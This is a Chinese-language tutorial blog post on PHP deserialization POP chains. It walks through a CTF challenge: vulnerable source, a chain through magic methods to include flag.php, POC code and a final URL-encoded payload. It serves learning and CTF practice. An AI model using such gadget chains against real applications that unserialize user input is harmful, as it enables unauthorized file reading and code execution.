關注這個專欄的其他相關筆記:[Web 安全] 反序列化漏洞 - 學習筆記-CSDN博客
0x01:什么是 POP 鏈?
POP 鏈(Payload On Purpose Chain)是一種利用 PHP 中的魔法方法進行多次跳轉以獲取敏感數據的技術。它通常出現在 CTF 比賽中,并且與反序列化一起考察。
POP 鏈可以理解為反序列化的一種拓展,涉及到的魔法方法更多,泛用性更強。
0x02:POP 鏈 — 入門基礎
POP 鏈,簡單來說,就是把一個對象的成員屬性賦值為新的對象。比如下面這個例子:
?<?php?class Node {public $nodeData; ? ? ? ? // 用來存儲節點數據public $nextNode = null; ?// 用來存儲下一個節點對象}??$node1 = new Node();$node1 -> nodeData = "[ 1 ] 號節點";?$node1 -> nextNode = new Node();$node1 -> nextNode -> nodeData = "[ 2 ] 號節點";?echo serialize($node1);// 輸出結果如下: // O:4:"Node":2:{s:8:"nodeData";s:15:"[ 1 ] 號節點";s:8:"nextNode";O:4:"Node":2:{s:8:"nodeData";s:15:"[ 2 ] 號節點";s:8:"nextNode";N;}}
上面是筆者創建的一個簡單的節點類,該類有兩個屬性,$nodeData
用來存儲數據,$nextNode
用來指向下一個節點。
觀察一下這個 $node1
序列化后的結果,我們可以很輕易的看到,對象中包含了對象的這么一個結構,這就是 POP 鏈。在后面做 CTF 時,我們就需要手動構造這么一串東西來嘗試過關。
0x03:POP 鏈 — 構造思路
接下來,筆者以一個 CTF 的題目作為示范,來演示一下 POP 鏈的構造思路,下面是題目的整體源碼:
?<?php?highlight_file(__FILE__);?class Modifier {private $var;public function append($value) {include($value); ? // Flag Is in the flag.phpecho $flag;}?public function __invoke() {$this->append($this->var);}}?class Show {public $source;public $str;public function __toString() {return $this->str->source;}public function __wakeup() {echo $this->source;}}?class Test{public $p;public function __construct() {$this->p = array();}// 不存在的屬性public function __get($key) {$function = $this->p;return $function();}}?// pop序列化的值if (isset($_GET['pop'])) {unserialize($_GET['pop']);}
我們的目標就是,嘗試包含 flag.php
并讀取到 flag。
下面我們就要開始分析了,筆者比較喜歡進行反向逆推的,首先確定我們最終要達成的目標:
-
確定目標:要執行
Modifier::append($value)
且$value=flag.php
。 -
問:誰能跳到
答:Modifier::append($value)
?Modifier::__invoke()
且要求Modifier
對象的$var
屬性為flag.php
。 -
問:誰能跳到
答:Modifier::__invoke()
?=> 哪里能將Modifier
對象當方法調用?Test::__get($key)
且當Test
對象的$p
屬性為Modifier
對象時滿足要求。 -
問:誰能跳到
答:Test::__get($key)
?=> 哪里可能會訪問某個對象的不存在的屬性?Show::__toString()
且當Show
對象的$str
屬性為Test
對象時滿足要求。 -
問:誰能跳到
答:Show::__toString()
?即哪里會把Show
對象當作字符串處理?Show::__wakeup()
且當Show
對象的$source
屬性為Show
對象時滿足要求。 -
問:哪里能觸發
答:反序列化Show::__wakeup()
?Show
對象。
如上,逆向推導結束,最終我們定格到了 Show::__wakeup()
方法上,即反序列化執行時,會自然觸發的一個方法上。
下面開始編寫 POC,POC 的編寫其實就是根據答案反著來,著重關注 ”且當“ 后面的條件:
?// 1. 反序列化 Show 對象 => 創建一個 Show() 對象$poc = new Show();// 2. 賦予 Show() 對象的 $source 屬性為 Show() 對象。$poc -> source = new Show();// 3. 賦予 Show() 對象的 $str 屬性為 Test 對象。$poc -> source -> str = new Test();// 4. 賦予 Test 對象的 $p 屬性為 Modifier 對象。$poc -> source -> str -> p = new Modifier();?// 5. 賦予 Modifier 對象的 $var 屬性值為 flag.php。$poc -> source -> str -> p = "flag.php";?echo serialize($poc);
上面的 POC 其實整體流程是對的,但是有個細節,關注一下 Modifier 類中的 $p
屬性:
?class Modifier {private $var;}
如上,它是一個私有屬性,私有屬性我們是不能直接通過屬性賦值的。但是我們知道,反序列化的特性,反序列化生成的對象成員屬性值是由被反序列化的字符串決定的,與原來類中預定義的值無關。 那么基于此特性,雖然直接賦值不行,但是我們可以修改 Modifier 類中 $var
的默認值呀。
所以正確的最終 POC 局部如下(下面都是我們修改的主要部分):
?class Modifier {// 5. 賦予 Modifier 對象的 $var 屬性值為 flag.php。private $var = "flag.php";public function append($value) {include($value); ? // Flag Is in the flag.phpecho $flag;}?public function __invoke() {$this->append($this->var);}}?// 1. 反序列化 Show 對象 => 創建一個 Show() 對象$poc = new Show();// 2. 賦予 Show() 對象的 $source 屬性為 Show() 對象。$poc -> source = new Show();// 3. 賦予 Show() 對象的 $str 屬性為 Test 對象。$poc -> source -> str = new Test();// 4. 賦予 Test 對象的 $p 屬性為 Modifier 對象。$poc -> source -> str -> p = new Modifier();?echo serialize($poc);
同時我們注意到,反序列化中帶有 private
私有屬性,且目標是通過 GET 請求接收傳參的,所以為了防止我們復制 POC 的時候出現 Bug,我們還需要對最終序列化的結果進行一個 URL 編碼(服務端在接收的時候其實默認會進行一次 URL 解碼,所以不用慌),以確定沒有漏復制任何值,所以最終 POC 如下:
?<?php?// highlight_file(__FILE__);?class Modifier {// 5. 賦予 Modifier 對象的 $var 屬性值為 flag.php。private $var = "flag.php";public function append($value) {include($value); ? // Flag Is in the flag.phpecho $flag;}?public function __invoke() {$this->append($this->var);}}?class Show {public $source;public $str;public function __toString() {return $this->str->source;}public function __wakeup() {echo $this->source;}}?class Test{public $p;public function __construct() {$this->p = array();}// 不存在的屬性public function __get($key) {$function = $this->p;print_r($function);return $function();}}?// 1. 反序列化 Show 對象 => 創建一個 Show() 對象$poc = new Show();// 2. 賦予 Show() 對象的 $source 屬性為 Show() 對象。$poc -> source = new Show();// 3. 賦予 Show() 對象的 $str 屬性為 Test 對象。$poc -> source -> str = new Test();// 4. 賦予 Test 對象的 $p 屬性為 Modifier 對象。$poc -> source -> str -> p = new Modifier();?echo urlencode(serialize($poc));
最終 Payload 如下:
?O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D